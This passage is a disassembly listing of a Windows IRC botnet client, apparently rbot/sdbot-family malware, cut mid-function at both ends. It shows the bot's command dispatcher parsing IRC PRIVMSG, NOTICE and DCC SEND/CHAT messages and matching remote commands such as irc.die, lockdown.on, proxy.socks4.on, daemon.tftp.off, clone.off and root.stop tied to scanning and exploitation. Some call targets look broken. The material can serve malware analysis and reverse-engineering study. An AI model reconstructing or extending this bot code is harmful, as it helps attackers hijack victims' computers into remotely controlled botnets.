		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F417
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40F417:				; CODE XREF: sub_40EE72+59Aj
		push	[ebp+var_84]
		push	offset dword_4386DC


loc_40F422:				; CODE XREF: sub_40EE72+5B45j
					; sub_40EE72+5E94j ...
		call	sub_40BFE1
		pop	ecx


loc_40F428:				; CODE XREF: sub_40EE72+5FA9j
		pop	ecx
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F42E:				; CODE XREF: sub_40EE72+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4386AC
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40F239
		lea	eax, [ebp+var_2DC]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40F22E
; ---------------------------------------------------------------------------


loc_40F48F:				; CODE XREF: sub_40EE72+582j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4176D0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F45
		cmp	dword_42F5B8, ebx
		jz	loc_414F45


loc_40F4E3:				; CODE XREF: sub_40EE72+637j
					; sub_40EE72+649j
		push	[ebp+var_90]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_C0], esi


loc_40F52A:				; CODE XREF: sub_40EE72+8B9j
					; sub_40EE72+94Dj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_4386A0
		mov	[ebp+arg_8], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F96F
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F82A
		cmp	[ebp+var_AC], ebx
		jz	loc_40F800
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_708]
		push	[ebp+esi+var_88]
		push	edi
		push	eax
		call	sub_4172AE
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_43865C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C8B4
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	loc_40F7EF


loc_40F659:				; CODE XREF: sub_40EE72+7FBj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_40F659
; ---------------------------------------------------------------------------


loc_40F66F:				; CODE XREF: sub_40EE72+681j
					; sub_40EE72+697j
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F688
		mov	[ebp+var_4], 1


loc_40F688:				; CODE XREF: sub_40EE72+80Dj
		cmp	[ebp+var_8C], ebx
		jz	loc_40F239
		push	(offset	loc_4289A7+1)
		push	[ebp+var_8C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F6AF
		cmp	[ebp+var_4], ebx
		jz	short loc_40F6BB


loc_40F6AF:				; CODE XREF: sub_40EE72+836j
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_8C], eax


loc_40F6BB:				; CODE XREF: sub_40EE72+83Bj
		cmp	[ebp+var_88], ebx
		jz	loc_40F239
		inc	[ebp+var_88]
		jz	short loc_40F707
		cmp	[ebp+arg_10], ebx
		jz	short loc_40F707
		lea	eax, [ebp+var_928]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_928]
		push	[ebp+var_88]
		push	eax
		call	sub_418DA0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_C0], esi
		jmp	short loc_40F70D
; ---------------------------------------------------------------------------


loc_40F707:				; CODE XREF: sub_40EE72+85Bj
					; sub_40EE72+860j
		mov	esi, [ebp+var_C0]


loc_40F70D:				; CODE XREF: sub_40EE72+893j
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40F239
		push	edi
		push	offset dword_438650
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40F7B0
		mov	eax, dword_489DD0
		mov	eax, off_42F6CC[eax*4]
		cmp	[eax], bl
		jz	short loc_40F7B0
		push	eax
		push	ecx
		push	offset dword_438634
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1
		push	eax
		push	offset dword_489CDC


loc_40F7A0:				; CODE XREF: sub_40EE72+58BFj
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F7B0:				; CODE XREF: sub_40EE72+8C8j
					; sub_40EE72+8D8j
		push	edi
		push	offset dword_438610
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40F52A
		push	eax
		push	ecx
		push	offset dword_4385F8
		jmp	loc_40F22E
; ---------------------------------------------------------------------------


loc_40F7EF:				; CODE XREF: sub_40EE72+7E1j
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset dword_4385B0
		jmp	loc_40F95B
; ---------------------------------------------------------------------------


loc_40F800:				; CODE XREF: sub_40EE72+702j
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+esi+var_8C]
		push	offset dword_438560


loc_40F813:				; CODE XREF: sub_40EE72+6175j
					; sub_40EE72+61DCj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 10h


loc_40F822:				; CODE XREF: sub_40EE72+7EDj
					; sub_40EE72+AB1j ...
		push	1
		pop	esi
		jmp	loc_411100
; ---------------------------------------------------------------------------


loc_40F82A:				; CODE XREF: sub_40EE72+6F6j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F985
		cmp	[ebp+var_AC], ebx
		jz	loc_40F94F
		push	13h
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jnz	loc_40F941
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172AE
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438528
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	13h
		push	eax
		call	sub_416D5A
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C351
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_40F933


loc_40F91D:				; CODE XREF: sub_40EE72+ABFj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		call	near ptr 260048Fh
		nop
		jmp	short loc_40F91D
; ---------------------------------------------------------------------------


loc_40F933:				; CODE XREF: sub_40EE72+AA9j
		call	near ptr 2650BAEh
		nop
		push	eax
		push	offset dword_4384E4
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------


loc_40F941:				; CODE XREF: sub_40EE72+9E9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_4384A4
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------


loc_40F94F:				; CODE XREF: sub_40EE72+9D9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_438464


loc_40F95B:				; CODE XREF: sub_40EE72+989j
					; sub_40EE72+ACDj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_40F96F:				; CODE XREF: sub_40EE72+6DBj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		mov	[edi], ecx
		jnz	loc_40F239


loc_40F985:				; CODE XREF: sub_40EE72+9CDj
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aC_0 ; "c"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4D
		push	[ebp+arg_8]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4D
		cmp	[ebp+var_AC], ebx
		jnz	short loc_40F9D5
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F45


loc_40F9D5:				; CODE XREF: sub_40EE72+B47j
		cmp	[ebp+arg_28], ebx
		jnz	loc_414F45
		xor	edi, edi
		cmp	dword_4313B4, ebx
		jle	loc_40FB81
		mov	[ebp+arg_20], offset dword_444340


loc_40F9F3:				; CODE XREF: sub_40EE72+BA0j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FA19
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4313B4
		jl	short loc_40F9F3
		jmp	loc_40FB81
; ---------------------------------------------------------------------------


loc_40FA19:				; CODE XREF: sub_40EE72+B90j
		push	offset asc_4387B8 ; " :"
		push	[ebp+arg_0]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		mov	cl, byte_42F5C4
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42F5C4
		mov	[eax+3], cl
		lea	ecx, dword_444358[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_418C10
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40FA6E:				; CODE XREF: sub_40EE72+CA4j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FADA
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40FADA
		lea	eax, dword_444340[edi]
		push	eax
		call	sub_417AB0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40FB0C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40FB0C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch
		jmp	short loc_40FB0C
; ---------------------------------------------------------------------------


loc_40FADA:				; CODE XREF: sub_40EE72+C24j
					; sub_40EE72+C2Bj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40FB0C
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 18h


loc_40FB0C:				; CODE XREF: sub_40EE72+C3Dj
					; sub_40EE72+C51j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40FA6E
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40FB29:				; CODE XREF: sub_40EE72+D03j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD	; "$%d"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FB6C
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40FB6C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch


loc_40FB6C:				; CODE XREF: sub_40EE72+CDFj
					; sub_40EE72+CE5j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40FB29
		mov	[ebp+var_DC], 1


loc_40FB81:				; CODE XREF: sub_40EE72+B74j
					; sub_40EE72+BA2j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		jz	short loc_40FB9A
		cmp	[ebp+var_DC], ebx
		jz	loc_40FD7F


loc_40FB9A:				; CODE XREF: sub_40EE72+D1Aj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_40A7D7
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40A7D7
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40A7D7
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415CFF
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40A7D7
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_40A7D7
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h


loc_40FC0C:				; CODE XREF: sub_40EE72+E86j
		test	eax, eax
		jz	loc_40FCFD
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_B8]
		push	offset asc_438420 ; ")"
		push	eax
		call	sub_418B6E
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_40FC58
		cmp	[ebp+var_B8], 39h
		jle	short loc_40FC6E


loc_40FC58:				; CODE XREF: sub_40EE72+DDBj
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40FC6E:				; CODE XREF: sub_40EE72+DE4j
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	short loc_40FC91
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40FCA2
; ---------------------------------------------------------------------------


loc_40FC91:				; CODE XREF: sub_40EE72+E0Bj
		call	sub_41730A
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_40FCA2:				; CODE XREF: sub_40EE72+E1Dj
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_417AB0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_B8]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 30h
		jmp	loc_40FC0C
; ---------------------------------------------------------------------------


loc_40FCFD:				; CODE XREF: sub_40EE72+D9Cj
		mov	edi, 1FFh
		lea	eax, [ebp+var_FB0]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	edi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_11B0]
		push	offset asc_42A3B4 ; " "
		push	eax
		call	sub_418B6E
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh


loc_40FD4D:				; CODE XREF: sub_40EE72+EF0j
		push	offset asc_42A3B4 ; " "
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40FD4D
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40F239
		add	ecx, 3
		mov	[eax], ecx


loc_40FD7F:				; CODE XREF: sub_40EE72+D22j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aIrc_rndnick ; "irc.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF3
		push	edi
		push	offset aRn	; "rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF3
		push	edi
		push	offset aIrc_die	; "irc.die"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED1
		push	edi
		push	offset aIrc_di	; "irc.di"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED1
		push	edi
		push	offset aIrc_logout ; "irc.logout"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E2F
		push	edi
		push	offset aLo	; "lo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E2F
		push	edi
		push	offset aIrc_version ; "irc.version"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E20
		push	edi
		push	offset aVer	; "ver"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E20
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0B
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0B
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0B
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0B
		push	edi
		push	offset aProxy_socks4_o ; "proxy.socks4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BE9
		push	edi
		push	offset aProxy_s4_on ; "proxy.s4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BE9
		push	edi
		push	offset aProxy_socks4_0 ; "proxy.socks4.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FEEF
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_438368


loc_40FED3:				; CODE XREF: sub_40EE72+10A1j
					; sub_40EE72+10C7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_416FE8
		add	esp, 20h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40FEEF:				; CODE XREF: sub_40EE72+104Cj
		push	edi
		push	offset aDaemon_rlogin_ ; "daemon.rlogin.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF15
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_438344
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF15:				; CODE XREF: sub_40EE72+108Cj
		push	edi
		push	offset dword_438334
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF3B
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_438328
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF3B:				; CODE XREF: sub_40EE72+10B2j
		push	edi
		push	offset dword_438320
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF64
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset dword_438314
		push	offset dword_438308
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF64:				; CODE XREF: sub_40EE72+10D8j
		push	edi
		push	offset aProxy_redirect ; "proxy.redirect.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF8D
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_4382E4
		push	offset dword_4382D4
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF8D:				; CODE XREF: sub_40EE72+1101j
		push	edi
		push	offset dword_4382C8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFB6
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_4382BC
		push	offset dword_4382B0
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FFB6:				; CODE XREF: sub_40EE72+112Aj
		push	edi
		push	offset dword_4382A0
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFDF
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_438294
		push	offset dword_438288
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FFDF:				; CODE XREF: sub_40EE72+1153j
		push	edi
		push	offset dword_438278
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410008
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_43826C
		push	offset dword_438260
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410008:				; CODE XREF: sub_40EE72+117Cj
		push	edi
		push	offset dword_438250
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410031
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_438244
		push	offset dword_438238
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410031:				; CODE XREF: sub_40EE72+11A5j
		push	edi
		push	offset aDaemon_tftp_of ; "daemon.tftp.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41005A
		push	[ebp+esi+var_90]
		push	4


loc_41004B:				; DATA XREF: ___:0042CC90o
					; ___:0042CCA4o
		push	offset aServer	; "Server"
		push	offset dword_43821C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_41005A:				; CODE XREF: sub_40EE72+11CEj
		push	edi
		push	offset aUtil_findfile_ ; "util.findfile.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD1
		push	edi
		push	offset aUtil_ff_off ; "util.ff.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD1
		push	edi
		push	offset aCom_procs_off ;	"com.procs.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BB9
		push	edi
		push	offset aCom_ps_off ; "com.ps.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BB9
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100D7
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset dword_4381BC
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_4100D7:				; CODE XREF: sub_40EE72+124Bj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410100
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset dword_438194
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410100:				; CODE XREF: sub_40EE72+1274j
		push	edi
		push	offset aRoot_stop ; "root.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410129
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410129:				; CODE XREF: sub_40EE72+129Dj
		push	edi
		push	offset aRoot_stats ; "root.stats"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA3
		push	edi
		push	offset aRoot_st	; "root.st"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA3
		push	edi
		push	offset aIrc_reconnect ;	"irc.reconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B82
		push	edi
		push	offset aIrc_r	; "irc.r"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B82
		push	edi
		push	offset aIrc_disconnect ; "irc.disconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B60
		push	edi
		push	offset aIrc_d	; "irc.d"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B60
		push	edi
		push	offset aIrc_quit ; "irc.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B18
		push	edi
		push	offset aIrc_q	; "irc.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B18
		push	edi
		push	offset aIrc_status ; "irc.status"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414AD9
		push	edi
		push	offset aIrc_s	; "irc.s"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414AD9
		push	edi
		push	offset aIrc_id	; "irc.id"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACD
		push	edi
		push	offset aIrc_i	; "irc.i"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACD
		push	edi
		push	offset aCom_rebewt ; "com.rebewt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410277
		call	sub_40AC20
		test	eax, eax
		mov	eax, offset dword_4380BC
		jnz	short loc_410249
